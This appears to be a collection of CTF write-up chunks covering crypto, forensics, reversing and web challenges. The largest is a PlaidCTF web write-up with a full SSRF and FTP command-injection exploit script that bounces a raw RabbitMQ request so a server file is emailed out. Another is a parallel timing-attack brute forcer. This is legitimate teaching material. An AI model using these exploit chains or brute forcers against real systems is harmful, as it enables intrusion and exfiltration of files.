text_chunk
stringlengths
151
703k
Due to this challenge I came to know that `from Crypto.Util.number import *long_to_bytes()` has some bugs to be fixed, due to which I wasted so much of time. The idea to solve the challenge is to apply hastad's braodcast attack. You can learn about it [here](http://crypto.stanford.edu/~dabo/pubs/papers/RSA-survey.pdf). Here is my complete [writeup](https://www.zsquare.org/post/wpictf-2020-illuminati-confirmed-write-up).
Unlike other participants, I could not just make `find` work for me, so I had to find another way. Fortunately, there's a very nice tool called `fatcat `. It can show directory listing without mounting an image, and it also shows "real" inodes: ```% fatcat -l / strcmp.fat32 Listing path /Directory cluster: 2d 1/1/1980 00:00:00 SPACE/ c=758d 1/1/1980 00:00:00 !/ c=1406d 1/1/1980 00:00:00 #/ c=1618d 1/1/1980 00:00:00 $/ c=1254d 1/1/1980 00:00:00 %/ c=1406d 1/1/1980 00:00:00 &/ c=1618...``` So the procedure was: * Create a blacklist of "invalid" inodes. It's very easy, because we know that flag starts with "PCTF{"* Just go level down until the flag is complete ignoring directories that link to blacklisted inodes. Creating a blacklist of inodes (also had to add some manually): ```for symbool in $(cat all-symbols); do fatcat strcmp.fat32 -l "/$symbol" | awk '{print $5}' | cut -d= -f2 | grep -v '^$'; done | sort | uniq >> bad-inodes``` Creating regexp list: ```cat bad-inodes | sort | uniq | while read s; do echo 'c='$s'$'; done > r``` Final iterating looked like this: ```% fatcat strcmp.fat32 -l '/P/C/T/F/{/W/H/A/T/_/I/N/_/T/A/R/N/A/T/I/O/N/_/I/S/_/T/H/1/S/_/F/I/L/E/' | grep -vf r Listing path /P/C/T/F/{/W/H/A/T/_/I/N/_/T/A/R/N/A/T/I/O/N/_/I/S/_/T/H/1/S/_/F/I/L/E/Directory cluster: 950d 1/1/1980 00:00:00 P/ c=1110d 1/1/1980 00:00:00 S/ c=1454f 1/1/1980 00:00:00 TOOBAD c=1842 s=0 (0B)% fatcat strcmp.fat32 -l '/P/C/T/F/{/W/H/A/T/_/I/N/_/T/A/R/N/A/T/I/O/N/_/I/S/_/T/H/1/S/_/F/I/L/E/S/' | grep -vf r Listing path /P/C/T/F/{/W/H/A/T/_/I/N/_/T/A/R/N/A/T/I/O/N/_/I/S/_/T/H/1/S/_/F/I/L/E/S/Directory cluster: 1454d 1/1/1980 00:00:00 P/ c=1110d 1/1/1980 00:00:00 Y/ c=622f 1/1/1980 00:00:00 NOMATCH c=1842 s=0 (0B) ....% fatcat strcmp.fat32 -l '/P/C/T/F/{/W/H/A/T/_/I/N/_/T/A/R/N/A/T/I/O/N/_/I/S/_/T/H/1/S/_/F/I/L/E/S/Y/S/T/E/M/!/}/' | grep -vf r Listing path /P/C/T/F/{/W/H/A/T/_/I/N/_/T/A/R/N/A/T/I/O/N/_/I/S/_/T/H/1/S/_/F/I/L/E/S/Y/S/T/E/M/!/}/Directory cluster: 1638``` The challenge was generated with this tool: https://github.com/8051Enthusiast/regex2fat
Here you can find the Write up of LaDelikataj team. [http://nbonfante.space/articles/WriteUp-UMD-Naboo.html](http://nbonfante.space/articles/WriteUp-UMD-Naboo.html)
# file-system-based strcmp go brrrr We are given a FAT32 filesystem file strcmp.fat32 ```➜ plaid> fatcat strcmp.fat32 -i FAT Filesystem information Filesystem type: fat32 OEM name: strcmp Total sectors: 66057Total data clusters: 65664Data size: 33619968 (32.0625M)Disk size: 33821184 (32.2544M)Bytes per sector: 512Sectors per cluster: 1Bytes per cluster: 512Reserved sectors: 8Sectors per FAT: 513Fat size: 262656 (256.5K)FAT1 start address: 0000000000001000FAT2 start address: 0000000000041200Data start address: 0000000000041200Root directory cluster: 2Disk label: Free clusters: 126/65664 (0.191886%)Free space: 64512 (63K)Used space: 33555456 (32.001M) ``` Trying to navigate it using `fatcat strcmp.fat32 -l /` we got to know that every directory contains subdirectories for each character and then a file at the end indicating if the strcmp is matched or not.Files were `SORRY TOOBAD NOFLAG4U NOMATCH NEGATORY LOLNOPE TROLLOL and finally MATCH` So reading about the FAT32 file structure ![fat_struct](fat_struct.png) ```Sector = ((N – 2) * BPB_SecPerClus) + FirstDataSector;``` The root directory starts at N=2, so information about the root directory should be stored at first sector index that we can get from the earlier info `Data start address: 0000000000041200``FirstDataSector = 521` So, the plan was to start reading at N=2 and then continue (not follow) reading the entire file for directory table entries.The directory table is of the following structure. ![dir_table](dir_table.png) ```def parse_fat_directory_row(chunk_32): x = struct.unpack("<11sccchhhhhhhI",chunk_32) name = x[0].decode("utf-8").strip() location = x[7] + x[10] return (name,location) ``` Now we find all the files that are named MATCH and backtrack using the mapping the mapping created during parsing the directory table```def s(N): return ((N-2) + 521)*512 def read_directory(fat,sector_index): dir_index = sector_index while s(sector_index) <= len(fat): if (sector_index - 2) % 4 == 0: dir_index = sector_index sector_start = s(sector_index) sector_end = sector_start + SECTOR_SIZE current_sector = fat[sector_start:sector_end] if sector_index not in dir_tree.keys(): dir_tree[sector_index] = [] for chunk in split_chunk(current_sector,32): if chunk != b'\x00'*32: parsed = parse_fat_directory_row(chunk) parsed += (dir_index,) next_chunk_location = parsed[2] dir_tree[sector_index].append(parsed[2]) if next_chunk_location not in reverse_mapping.keys(): reverse_mapping[next_chunk_location] = [] if parsed not in reverse_mapping[next_chunk_location]: reverse_mapping[next_chunk_location].append(parsed) positions[sector_index] = parsed sector_index += 1 ```But for some reason that just gave me half the flag. So I started thinking of alternate approaches. I knew the flag started with `PCTF{` and I was under the assumption that only one path will lead to acorrect strcmp, so why don't I make a blacklist of all the locations that I know I should not go to, for example at directory `/` I knew the next directory was `P` so all other next locations were blacklisted.Doing so my options at the end of `/P/C/T/F/{/` would only be handful that I can search recursively. ```def next_opts(fat,sector_index): i = sector_index opts = [] while s(sector_index) <= len(fat): sector_start = s(sector_index) sector_end = sector_start + SECTOR_SIZE current_sector = fat[sector_start:sector_end] for chunk in split_chunk(current_sector,32): if chunk != b'\x00'*32: parsed = parse_fat_directory_row(chunk) opts.append(parsed) sector_index += 1 if sector_index - i == 4: return opts def find_flag(fat,start_flag=['P','C','T','F','{']): next=2 opts = [] for x in start_flag: for opt in next_opts(fat,next): if opt[0] == x: next = opt[2] opts.append(opt[2]) for opt in next_opts(fat,next): if opt[1] not in opts: new_start_flag = start_flag + [opt[0]] print("".join(new_start_flag)) if opt[0] != "}": find_flag(fat,start_flag=new_start_flag) ``` I got the flag ```PCTF{WHAT_IN_TARNATION_IS_TH1S_FIPCTF{WHAT_IN_TARNATION_IS_TH1S_FILPCTF{WHAT_IN_TARNATION_IS_TH1S_FILEPCTF{WHAT_IN_TARNATION_IS_TH1S_FILESPCTF{WHAT_IN_TARNATION_IS_TH1S_FILESYPCTF{WHAT_IN_TARNATION_IS_TH1S_FILESYSPCTF{WHAT_IN_TARNATION_IS_TH1S_FILESYSPPCTF{WHAT_IN_TARNATION_IS_TH1S_FILESYSPCPCTF{WHAT_IN_TARNATION_IS_TH1S_FILESYSPCTPCTF{WHAT_IN_TARNATION_IS_TH1S_FILESYSPCTFPCTF{WHAT_IN_TARNATION_IS_TH1S_FILESYSPCTF{PCTF{WHAT_IN_TARNATION_IS_TH1S_FILESYSTPCTF{WHAT_IN_TARNATION_IS_TH1S_FILESYSTEPCTF{WHAT_IN_TARNATION_IS_TH1S_FILESYSTEMPCTF{WHAT_IN_TARNATION_IS_TH1S_FILESYSTEM!PCTF{WHAT_IN_TARNATION_IS_TH1S_FILESYSTEM!}```
# Crack me 2 ## Description > Here's another one.> > Hash: b1ee3fbc44b4ba721273699ac4511fa1631257f37da7bede3d5ba7bda5e7f96f1bab30e206caf47a5ce8c6587d0fbd6306e70b08a3a7e7233bb707bf21752c33> > NOTE: The flag is NOT in the standard auctf{} format ## Solution Let's use [John](https://www.openwall.com/john/) to crack it, using the standard [rockyou](https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt) password list. First we'll need to know what kind of hash has been used. Let's format a file with our hash. Then run `john` on it. ![Which hash](../images/crackme2_choice.png) Several options are offered by `john`. Let's try the most common ones: `SHA-512`, `SHA-3`, `Whirpool`, ... Launching with `SHA-3` gives us the password. ![SHA3](../images/crackme2.png) Flag: `gardener`
The description just says "can you find it?" the challenge name should be hint enough. run dnsrecon on wpictf.xyz and look at the TXT record: ```dnsrecon -d wpictf.xyz in TXT record [*] TXT wpictf.xyz V1BJezFGMHVuZF9UaDNfRE5TLXJlY29yZH0=``` This decodes to:WPI{1F0und_Th3_DNS-record}
# Autobot (re, 281p) In the challenge we can connect to a server, and we get back a base64 encoded [payload](https://raw.githubusercontent.com/TFNS/writeups/master/2020-04-12-ByteBanditsCTF/autobot/payload.txt).Then the server is waiting for some input from us. If we decode the payload, we can see it's an ELF binary, which is performing a simple input-checking: ```c int i; int indices [23]; char user_input [23]; indices[0] = 0x15; indices[1] = 5; indices[2] = 4; indices[3] = 0xb; indices[4] = 0x10; indices[5] = 0x16; indices[6] = 0xd; indices[7] = 2; indices[8] = 0xc; indices[9] = 6; indices[10] = 0; indices[11] = 0x13; indices[12] = 1; indices[13] = 9; indices[14] = 0xe; indices[15] = 0x14; indices[16] = 7; indices[17] = 0x11; indices[18] = 8; indices[19] = 0xf; indices[20] = 10; indices[21] = 0x12; indices[22] = 3; fgets(user_input,0x18,stdin); i = 0; while (i < 0x17) { if (user_input[i] != some_constant_data[indices[i]]) { puts("Wrong pass"); exit(1); } i = i + 1; } printf("good job");``` It's pretty simple, there is a constant string in memory, and some permutation of indices, and our input has to match the data ordered by this permutation.The trick is that once we submit the answer, we get another payload to solve! All payloads follow the same structure, the only differences are: - size of the constant string (up to about 30 bytes)- index permutation The goal is to make a script which will automatically solve those crackmes.It probably would be easy to use angr, but we went ahead with even easier approach: First find the contant string in the binary, because it's always right before `Wrong pass` string: ```pythondef extract_constant(raw_data): end_index = raw_data.index("Wrong pass") - 2 start = end_index while True: if raw_data[start] != '\0': start -= 1 else: start += 1 break pass_array = raw_data[start:end_index + 1] return pass_array``` Then use objdump to dump the assembly, and then parse the permutation.Permutation is very easy to find: ```asm 7f4: c7 85 20 ff ff ff 15 movl $0x15,-0xe0(%rbp) 7fb: 00 00 00 7fe: c7 85 24 ff ff ff 0b movl $0xb,-0xdc(%rbp) 805: 00 00 00 808: c7 85 28 ff ff ff 0e movl $0xe,-0xd8(%rbp) 80f: 00 00 00 812: c7 85 2c ff ff ff 17 movl $0x17,-0xd4(%rbp) 819: 00 00 00 81c: c7 85 30 ff ff ff 11 movl $0x11,-0xd0(%rbp)``` We can just find regex matching those `movl`. ```pythondef solve(data): raw_data = data.decode("base64") open("out.bin", 'wb').write(raw_data) os.system("objdump -d out.bin > res.txt") instructions = open("res.txt", 'r').read() indices = re.findall("movl\s+\\$0x(.*),.*", instructions)[:-1] length = int(indices[-1], 16) indices = map(lambda x: int(x, 16), indices[:-1]) pass_array = extract_constant(raw_data) password = "".join([pass_array[indices[i]] for i in range(length)]) return password``` We plug this solver to communicate with server: ```pythondef main(): port = 6000 host = "pwn.byteband.it" s = nc(host, port) while True: data = receive_until(s, "\n") print(data) password = solve(data) send(s, password)``` And after some time we get `flag{0pt1mus_pr1m3_has_chosen_you}`
# Put your thang down flip it and reverse it so this challenge was a little bit messy I started by looking at the main function in Cutter: ![main function](https://github.com/pop-eax/DawgCTF/raw/master/RE/Put%20your%20thang%20down%20flip%20it%20and%20reverse%20it/main.png) from here I knew that the flag length is 43 digging deeper into the app I started to feel more lost ![complexAsm](https://github.com/pop-eax/DawgCTF/raw/master/RE/Put%20your%20thang%20down%20flip%20it%20and%20reverse%20it/complex.png) each function is weirder, and more complicated at this point I thought that writting a decoder in python will just be a painso I fireup ltrace `ltrace ./missyelliott` ![ltrace](https://github.com/pop-eax/DawgCTF/raw/master/RE/Put%20your%20thang%20down%20flip%20it%20and%20reverse%20it/ltrace.png) in this picture we can see the encoded flag in the strcmp, but it's kinda trimeed so I used `ltrace -s 50 ./missyelliott`at this point I thought about creating a dictionary based on all the alpahapet :)after playing with some input, I relaized that the encoder can work as a decoderit just works both ways ![dict1](https://github.com/pop-eax/DawgCTF/raw/master/RE/Put%20your%20thang%20down%20flip%20it%20and%20reverse%20it/dict.png)![dict2](https://github.com/pop-eax/DawgCTF/raw/master/RE/Put%20your%20thang%20down%20flip%20it%20and%20reverse%20it/image.png)so I just threw the encoded flag and here we go:`echo -e "A\365Q\321Ma\325\351i\211\031\335\t\021\211\313\235\311i\361m\321}\211\331\265Y\221Y\2611Ym\321\213!\235\325=\031\021y\335"| ltrace -s 50 ./missyelliott` ![decoded_flag](https://github.com/pop-eax/DawgCTF/raw/master/RE/Put%20your%20thang%20down%20flip%20it%20and%20reverse%20it/flag.png) `DawgCTF{.tIesreveRdnAtIpilF,nwoDgnihTyMtuP}` and it worked :D
# [Web] Contrived Web Problem - 350*Warning*: This writeup is a creation of my lonely quarantined mind. It may be longer than required. If you're busy, jump to [the Attack Plan](#The-Attack-Plan). This was an exciting challenge in PlaidCTF 2020. Let's dive right in! The source code for a web app is given: ![](https://i.imgur.com/utcVnKb.png) As you can see, there are 6(!) services.Before going through all of them, I quickly grepped for `flag`:![](https://i.imgur.com/sKPPDeM.png)Aha! Now we know where the flag is. It's in the `/flag.txt` file in the services which use the `services.dockerfile` Dockerfile. A quick look into `docker-compose.yml` reveals that only `api`, `server` and `email` services use this dockerfile. So, it's clear that only these services can read the flag. This will come in handy. ## ExplorationLet's get a broad overview of what the services do:- The **api** service has the following endpoints: - `/register` - allows the user to create an account - `/login` - allows the user to login - `/password-reset` - sends the password and email it to the user - `/self` - returns info. about logged in user - `/profile` - Allows user to upload a profile image. The image is stored on the `ftp` server. - `/post` - create/get posts - `/image` - return image from a given url Images are checked for PNG headers while uploading as well as retrieving. The `/image` endpoint indicates a possible SSRF attack. We'll look at it again later.- Then there's the `email` service: - It's quite simple, listen for message on the rabbitmq queue and send email. But there's one red herring: ![](https://i.imgur.com/MR3MrIp.png) There's no check to validate message content. And it's directly passed to the `sendMail` function. This could allow us to mess with it if we could somehow send custom messages to the queue. `ftp`, `rabbit` and `postgres` are just running stock programs. And I couldn't find anything unusual in the `server` service. ## Finding a way to read the flagEarlier, we noticed that only `api`, `email` and `server` services have `/flag.txt`. So let's look for ways to read it. - `api` service As we noticed earlier, there's a possible SSRF. But only `http:`, `https:` and `ftp:` protocols are allowed.Furthermore, the fetched content is checked for PNG headers. I couldn't find any way to read `/flag.txt` from this service alone. - `server` is just a simple express server to serve files and proxy the api. There's no way to read files. - `email` service Now, this one's interesting. Let's assume that we can control the parameters sent to `sendMail` function. Is there any way to read files?Let's take a look at Nodemailer docs and find out what all options are available. https://nodemailer.com/message/attachments/We can just pass the file path to send it as an attachment. Interesting! This could be a way to read `/flag.txt` **If we could somehow send arbitrary messages to the `email` queue, we can control what goes into the `sendMail` and thus, send `flag.txt` as an attachment.** I decided to go with this approach and started finding ways to send custom messages to the `rabbitmq` queue. Maybe we can use the SSRF in `api` service. We can use the AMQP protocol as it's a binary protocol, chaining it with SSRF will be hard. So, I tried to find a way to do it via HTTP. A quick look at `rabbitmq` documentation reveals that if the management plugin is turned on, we can publish messages via a simple HTTP POST. ![](https://i.imgur.com/aCHT8mI.png) And guess what, the `rabbit` services has management enabled. This could be the way! ## Doing it backwardsNow that we have a theory to get the flag, let's find a way to make it work. The first thing that comes to mind is to utilize the SSRF to send the request. But, there's an issue: ![](https://i.imgur.com/G7q0XBD.png) We can only send GET requests :slightly_frowning_face: I tried to find a `GET` endpoint to publish messages to the queue, but nothing! Then I tried request splitting, but that didn't work either because they're using `node:12` After wasting a lot of time here, I moved on. Looking through the `api` service, there's one more protocol supported, `ftp:`![](https://i.imgur.com/jSDPLEC.png) I had overlooked this part. Here's a crazy idea: what if we could do something similar to request splitting. FTP is also a text-based protocol after all. After going through `node-ftp`'s source, I realized that there are no checks on username/password. We should be able to send something like `user\r\nRANDOM_FTP_COMMAND` as username. And guess what, it worked! :fist: We can run arbitrary FTP commands, comrades! Now, we'll have to find a way to send a POST request to `rabbit` using FTP. Sounds crazy, right?! Knowing nothing about the FTP, I turned to my best friend, Google. Here's an interesting fact about FTP: there's a separate connection for data transfers. I learned that there are two ways in which this connection is created:- `Active`: The client opens a port and informs the server to make a connection to it. The `PORT` ftp command is used for this. As you might have noticed, this gets problematic due to NAT. That's why they created the passive mode.- `Passive`: The client requests the server (by sending `PASV`) to open a port to establish the data connection. I was curious to know how the server knows which port to connect to or vice versa. So, I dug deeper. Here's an example to understand this:To retrieve a file named `test`:```# First, authenticate> USER user<> PASS pass<Now, the client will open a port, say :8001 and inform the server about it. This is Active mode.> PORT 127,0,0,1,0,8001<> RETR test# The ftp server will now send the file to 127.0.0.1:8001```Isn't that fascinating?! We can make the ftp server send stuff to an arbitrary server! This could be a way to send a POST request to rabbit management and thus get the flag. I quickly thought of an attack plan. ## The Attack PlanHere's what we are gonna do:- Execute arbitrary ftp commands by injecting it into the `username` field- upload a file containing raw POST request to add a message to the `email` queue which'll send an email with `/flag.txt` as an attachment.- use ftp `PORT` command to send that file to the rabbitmq management server And hopefully, we'll get the flag. <details><summary>Some Gotchas</summary>- The `api` server sends `RETR filename` right after a connection which could interfere with our commands (it did in my case). To get around it, I add a stray `PORT` command which connects to a closed port. The script is attached if anyone wants to try. Here's the relevant section:```javascript//PORT_LINE = "PORT 13,233,55,1xx,0,80"PORT_LINE = "PORT 172,32,56,72,0,15672"//PORT_LINE = "PORT 127,0,0,1,0,8002"commands = [ //"DELE zevtnax", "PASS test", "ABOR", "ABOR", "ABOR", //PORT_LINE, "PORT 127,0,0,1,0,8009", // This is the closed port I was talking about earlier "LIST", PORT_LINE, "RETR zevtnax",]command_str = commands.map(x=>encodeURIComponent(x)).join("%0d%0a")const filename = "zevtnax"const url = "ftp://user%0d%0a" + command_str + ":test@ftp:21/" + filename //await fetch("http://localhost:8080/api/image?url=" + encodeURI(url));await fetch("http://contrived.pwni.ng/api/image?url=" + encodeURI(url));``` </details> - The `api` server sends `RETR filename` right after a connection which could interfere with our commands (it did in my case). To get around it, I add a stray `PORT` command which connects to a closed port. The script is attached if anyone wants to try. Here's the relevant section:```javascript//PORT_LINE = "PORT 13,233,55,1xx,0,80"PORT_LINE = "PORT 172,32,56,72,0,15672"//PORT_LINE = "PORT 127,0,0,1,0,8002"commands = [ //"DELE zevtnax", "PASS test", "ABOR", "ABOR", "ABOR", //PORT_LINE, "PORT 127,0,0,1,0,8009", // This is the closed port I was talking about earlier "LIST", PORT_LINE, "RETR zevtnax",]command_str = commands.map(x=>encodeURIComponent(x)).join("%0d%0a")const filename = "zevtnax"const url = "ftp://user%0d%0a" + command_str + ":test@ftp:21/" + filename //await fetch("http://localhost:8080/api/image?url=" + encodeURI(url));await fetch("http://contrived.pwni.ng/api/image?url=" + encodeURI(url));``` ### Step 1: Upload raw POST payloadI created a simple socat server to listen for data connections:```bashubuntu@ip-172-31-3-141:~/ctf/problem$ cat s.sh #!/bin/bashsleep 0.1cat payloadubuntu@ip-172-31-3-141:~/ctf/problem$ sudo socat -v -v tcp-l:80,reuseaddr,fork exec:./s.sh```Here's the first payload I sent:```POST /api/exchanges/%2F/amq.default/publish HTTP/1.1Host: 172.32.56.72:15672Authorization: Basic dGVzdDp0ZXN0Accept: */*Content-Type: application/json;charset=UTF-8Content-Length: 267 {"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"[email protected]\", \"attachments\": [{\"path\": \"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}```**Mind that the line ending should be CRLF* Then send the following FTP commands:```USER userPASS testPORT 1,1,1,1,0,80APPE zevtnax```*Replace 1,1,1,1 with your IP This created a file named `zevtnax` and stored the POST request in it.### Step 2:Simple, send the file to rabbitmq server:```USER userPASS testPORT 172,32,56,72,0,15672RETR zevtnax``` But it didn't work. I spent a lot of time here. The problem is that apparently, ftp closes the data connection right after sending the POST request, which prevents rabbitmq management server from receiving the request successfully. A quick workaround I could think of was to somehow make the data connection stay longer after sending the payload. One way to do this could be to append a lot of garbage after the payload. So, run:```bashubuntu@ip-172-31-3-141:~/ctf/problem$ for i in {0..1000};do cat payload_bak >> payload;done```Then send the payload again. And Voila! It worked! I got the flag in my email. Thanks PPP for this awesome chal! Quite a contrived challenge indeed.
Challenge reads a lua file from input, then creates two instances of state Alice and Bob. This sounds like some kind of protocol for interacting between two parties. Multiple iterations of checks are then run using lua code. There are two parts of the checks. In both cases solution needs to implement two functions `Alice` and `Bob` such that `verify(Bob(Alice(input)), input)` where verify is implemented by challenge return type of `Alice` is limited making it difficult to transfer required information. # Part 1 In the first check Alice is given 8 random cards from of deck of 40000. She has to remove one of them and give remaining ones in some order to Bob. Bob then has to guess what was the eighth card. Only way of transferring information is through the order of cards passed. `7! = 5040`. That is insufficient to encode the number of card. Instead of choosing the card to remove arbitrarily it can be chosen based the 8 cards given. Calculate sum of cards modulo 8. And remove this card. Then encode `card / 8` in remaining 7 cards. `40000/8 == 5000` which is less than `7!`. ```pythondef Alice1(hand): removed_card_index = sum(hand) % 8 hand = sorted(hand) removed_card= hand[removed_card_index] hand.remove(hand[removed_card]) return itertools.permutations(hand)[removed_card // 8]``` Bob then has to calculate which permutation `n` the given card form and choose the correct card in range `[8n, 8n + 8)`. Each of the card this range have different value modulo 8 so each of them would cause Alice to choose different card for removal so only one of the 8 cards identified by permutation doesn't contradict card removal algorithm used by Alice. ```pythondef Bob1(hand): n = permutation_number(hand) hand = sorted(hand) for i in range(8 * n, 8 * n + 8): position = (sum(hand) + i) % 8 if i > hand[position-1] and i < hand[position]: # actual code need to check bounds return i``` I initially implemented both Alice and Bob using next_permutation function. It turned out to be too slow, ~25 seconds on my computer. I found this only after implementing the part 2 and trying to submit solution. Each call to Alice and Bob don't take too much but in case of 10000 iterations used by challenge it adds up. Converting permutation to it's number in the lexicographical order is quite easy, especially since the number of card is small so doing it `O(n^2)` is acceptable. ```luaFACTORIAL = {1, 2, 6, 24, 120, 720, 5040} local n = 0for i = 1, 6 do local less = 0 for j = i+1, 7 do if hand[j] < hand[i] then less = less + 1 end end n = n + less * FACTORIAL[7 - i]end``` Doing the opposite for Alice is a bit is a bit more tricky. There are algorithms for this but i didn't want to write and debug one in Lua. So instead i precalculated all permutations of 7 numbers in a global variable using `next_permutation` which I had already written for my initial slow implementation. This part is more or less the same task [MMMAGIC6](https://www.spoj.com/problems/MMMAGIC6/) on competitive programming(algorithm and datastructure challanges) site https://spoj.com but with slightly different constants. Supposedly it is also the same as task from [MWPZ](http://mwpz.poznan.pl) 2007 contest in Poland. # Part 2 Alice is given ordered list of 96 card, 64 of them are labeled as `1` and 32 are labeled as `2`. She has to choose 32 cards labeled `1` and tell their positions to Bob. Using this information Bob has to figure out the positions of `2`. The task is equivalent to making a permutation function `f(x)->y`, where x and y both are 96 bit numbers with 32 bits set. ![f_xy_sets](https://latex.codecogs.com/png.latex?x,y%5Cin%20%5Cleft%5C%7B%20n%3A%20n%20%3C%202%5E%7B96%7D%20%5Cwedge%20bitcount%20%5Cleft%20%28n%20%5Cright%20%29%20%3D%2032%20%5Cright%5C%7D) The function must be a bijection so that it can be reversed, argument and value belongs to the same set so it is a permutation. Commonly used method is to bruteforce the small cases and look if there are any useful patterns. So I wrote a backtracking algorithm which searches for sequence of `C(3*k, k)` combinations where two consecutive values don't have common positions. It worked for `C(6, 2)` but it didn't notice any obvious patterns that would be useful for solution. My next guess what it's possible to construction a permutation such that all loops have length 3. For the all the values i tried `binomial(3k, k)` was dividable by 3 so no contradiction yet. Short cycles would allow calculating the inverse quickly by applying the function twice. So i adjusted the backtracking to use this restriction. It worked for `C(6,2)` but on either `C(9, 3)` or `C(12, 4)` it wast too slow so I wasn't able to fully confirm my theory. Neither did I know how to construct such permutation efficiently. I tried out a few more ideas. First part made me think of it as combinations `C(96, 32)`, `C(64, 32)` and converting combination to it's number in lexicographical order. Sagemath has the builtin functions for doing this easily while prototyping ideas. This lead me into a bunch more dead-ends. During my attempts I printed the resulting structure using `graphviz`. That gave me a bunch of images like this: ![not permutation](https://raw.githubusercontent.com/karliss/ctf_writeups/master/2020/PlaidCTF/stegasaurus/bad.svg) Some loops with a bunch of trees attached - not a permutation. At this point I started to think that I am overcomplicating things. One of my early ideas was bit rotation. It can be easily calculated in both direction and in case of all `1` bits being sufficiently spaced out it even work correctly. I initially threw away this idea because it doesn't work when you have group of more than one bit set. What if the bits in such situation were pushed further until first free space. ```_X___XX_____XX_X_____X____XX_____X_XX_ // forward_X___XX_____XX_X___ // backward```Trying it out on paper seemed to work, even for some trickier cases. So I quickly implemented in python reusing code from my previous tests. Basic idea looks something like this```pythonN = 96def rotate_left(v): result = 0 bits = 0 i = 0 # Shouldn't take more than 2 loops due to number of bits set being N/3 while i < N or bits > 0: pos = i % N if v & (1 << pos) and i < N: # i < N to ensure that single bit doesn't get taken twice bits += 1 if v & (1 << pos) == 0 and # don't put in position that initially had 1 result & (1 << pos) == 0: # don't put in position that's already filled bits -= 1 result |= (1 << pos) i += 1 def rotate_right(v): return reverse(rotate_right(reverse(v)))``` ![permutation](https://raw.githubusercontent.com/karliss/ctf_writeups/master/2020/PlaidCTF/stegasaurus/good.svg) Looks like a permutation to me. Since rewriting in Lua and debugging lua script will take some time, better make sure that it works correctly in all corner cases using python. ```K = 4 # 32N = 3 * Kc = Combinations(N, K)for i in range(c.list()): bits = combination_to_bits(i, N) next = rotate_right(bits) prev = rotate_left(next) if bits != prev: print("Bad") break``` In some cases it work quite right, probably due staring somewhere inside group of `1`. Changing starting offset somewhere inside a bunch of `0` helped. ```python pos = (i + offset) % N``` There are probably multiple ways of doing this. I did this by counting prefix sum, +1 for each 1, -1 for 0. Position with lowest value was chosen as starting offset. I previously wrote that backtracking on small cases didn't give any obvious patterns. Now that I have solved the task I remember that rotation pattern was visible in the solution found by backtracking, but I decided to ignore it thinking that it only works with `N=6, K=2` and doing it with bigger sizes would produce overlap.
In this challenge, you input some string, and the server will tell you if it's the flag or not. The more parts of the substring starting from position 0 you guess correctly, the slower the server responds (.5 seconds increase for every correct character). The security term for this is the timing attack problem. You can easily write a bruteforce script. However, it will take forever to run: `50 * 47 * 23.5 / 60 = 920` mins approximately. 50 is half the length of string.printable, or the average number of elements you have to cycle in the set of guessable characters to be correct. 47 is the number of times the loop runs because you are given that the flag length is 47. 23.5 is half of 47 or the average time in seconds the server takes to return your guess. I am no expert on this but I heard from my university class of the term multiprocessing, which is where you allocate tasks to multiple cores for asynchronous execution. This method allowed me to connect to the server simultaneously 100 times for each guessed character of string.printable, so I reduced the brute force time by 100 fold, which allowed me to solve this challenge during the length of the competition. Code below. ```from pwn import *from string import printableimport timeimport multiprocess def guess(x): r = remote('50i9k97k4puypj7bvtngr2yco.ctf.p0wnhub.com', '52400') banner = r.recv(4096) init_prompt = r.recv(4096) start = time.time() r.sendline(x) res = r.recv(4096) end = time.time() r.close() return x[-1], end - start init = 'HZVIII{' while len(init) != 47: try: p = multiprocess.Pool(len(printable)) d = [x for x in p.map(guess, [init + s for s in printable])] init += max(d, key=lambda a: a[1])[0] except: pass```
Description: Port knocking is boring. Enhance your security through obscurity using sigknock. My solution was to do this manually even though there were probably MUCH easier ways to get it done.. It turns out that instead of knocking on ports to get something opened, this just wants interrupt signals in a specific order.. so i called the various interrupts until it told me i got to the next step, repeat until i got to the end. The proper order was, [2, 3, 11, 13, 17] ```~ $ ps axPID USER TIME COMMAND 1 wpictf 0:00 {init_d} /bin/sh /bin/init_d 8 wpictf 0:00 /bin/sh 41 wpictf 0:00 irqknock 50 wpictf 0:00 sh 51 wpictf 0:00 /bin/sh 52 wpictf 0:00 ps ax~ $ kill -2 41Got signal 2State advanced to 1~ $ kill -3 41Got signal 3State advanced to 2~ $ kill -11 41Got signal 11State advanced to 3~ $ kill -13 41Got signal 13~ $ State advanced to 4kill -17 41Got signal 17State advanced to 5WPI{1RQM@St3R}```
ransomeware that takes flag.gif and "encrypts" it. the "encrypt" is an xor character by character with a key that is as long as the file itself.. they provided an encrypted flag.gif file for us to decrypt. the key is seeded with a timestamp. so we need the time that it was encrypted to be able to create the key to decrypt it. they provided us with a pcap that sends an epoch timestamp over the socket it's communicating with. timestamp: 1585599106 created a decrypter to use the seed value and xor the encrypted file with all the rand values and writes to flag.gif. ```#include <stdio.h>#include <stdlib.h>int main () { int i, c; FILE *enc, *decrypt; int len; /* Intializes random number generator */ srand(1585599106); enc = fopen("flag-gif.EnCiPhErEd", "rb"); decrypt = fopen("flag-decrypt.gif", "wb"); fseek(enc, 0, 2); len = ftell(enc); fseek(enc, 0, 0); while ((c = getc(enc)) != EOF) { putc(c ^ rand(), decrypt); } fclose(enc); fclose(decrypt); return(0);}``` output was a gif that has the flag written inside the ship's sail: WPI{It_always_feels_a_little_weird_writing_malware}
